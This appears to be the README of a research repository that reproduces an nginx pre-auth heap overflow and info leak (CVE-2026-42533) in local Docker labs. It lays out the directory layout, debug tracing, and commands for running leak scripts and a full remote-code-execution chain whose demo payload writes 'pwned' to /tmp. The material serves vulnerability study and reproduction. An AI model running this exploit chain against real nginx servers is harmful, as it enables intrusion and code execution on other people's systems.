
Proof-of-concept reproduction of an nginx heap overflow and info leak (CVE-2026-42533) with two attack surfaces, debug analysis, and a full RCE chain.
Pre-auth heap overflow + info leak in nginx (0.9.6–1.30.3 / mainline ≤1.31.2) complex-value script engine; CVSS 9.2. Two trigger surfaces share the same root cause: HTTP (regex location + regex map) and stream (ssl_preread + SNI + regex map).
In-depth technical analysis and errata in ANALYSIS.md.
.
├── ANALYSIS.md # Deep analysis (root cause / two-pass execution / dynamic evidence / RCE chain + errata)
├── README.md # This file (index)
├── http/ # ① HTTP variant black-box reproduction (classmethod trigger surface)
│ ├── nginx.conf # Vulnerable config (regex location + regex map)
│ ├── docker-compose.yml # nginx:1.30.3(vuln,:8081) vs 1.30.4(fixed,:8082)
│ ├── test.sh # clobber / overflow / leak three-direction tests
│ └── repro.py # PoC, automatically extracts leaked heap pointers/leftover data
├── debug/ # ② HTTP variant debug build + pwndbg/gdb dynamic analysis
│ ├── Dockerfile(.buster) / docker-compose.yml(.buster) / nginx.debug.conf
│ ├── gdb.py # Two-pass execution tracing + LEN/VALUE inconsistency alert (core)
│ ├── attach.sh / extract-symbols.sh / trace_one.sh
│ ├── recon/ # Heap layout recon scripts (recon.py / recon2/4/5.py)
│ └── README.md # See this directory for details
└── stream-rift/ # ③ stream variant full RCE chain (echo pwned reproduced)
├── Dockerfile / docker-compose.yml / nginx.conf / server.py / entrypoint.sh
├── poc.py # Full chain (leak→spray→fake pool→system), technique from public disclosure
└── README.md # Attribution statement + run instructions
debug/src,debug/symbols*,debug/logs*are generated byextract-symbols.sh(DWARF binaries + source tree), already.gitignored, and can be rebuilt.
cd http
docker compose up -d # 1.30.3(vuln) + 1.30.4(fixed)
./test.sh # Three-direction comparison
python3 repro.py --vuln http://localhost:8081 --fixed http://localhost:8082 # Parse leaks
cd debug
docker compose build && docker compose up -d # Debug build (--with-debug + DWARF)
./extract-symbols.sh # Pull binaries+source locally for gdb
./attach.sh # gdbserver attaches to worker (:2333)
gdb -x gdb.py # Load pwndbg; after c, send requests from host
See debug/README.md for details.
echo pwned > /tmp/pwn)cd stream-rift
docker compose build && docker compose up -d # nginx 1.31.1 (jammy/glibc2.35)
python3 poc.py --host 127.0.0.1 --port 29443 --leak # Leak heap/libc/system
python3 poc.py --host 127.0.0.1 --port 29443 --cmd 'echo pwned > /tmp/pwn'
docker compose exec nginx-rce cat /tmp/pwn # → pwned (owned by nobody = worker)
Technique attributed to public disclosure DepthFirstDisclosures/Nginx-Rift; see stream-rift/README.md for details.
The full stream chain works on modern glibc 2.35 (no softening needed): the cleanup dispatch runs before the free() in ngx_destroy_pool, and system() wins the race before abort. Reliability is "partial" (heap feng shui, roughly 1–2 hits per single shot, retries needed); offsets are pinned to that build.
Docker + Compose; local gdb (+ pwndbg, loaded however you prefer); pip install requests (http/repro.py).
| Impact | HTTP variant | stream variant |
|---|
| Info leak (heap/PIE + leftover data) | ✅ Stable | ✅ Stable |
| DoS (worker abort) | ✅ Stable | ✅ Stable |
| Arbitrary code execution | ❌ No public PoC (independent engineering) | ✅ Reproduced (stream-rift/) |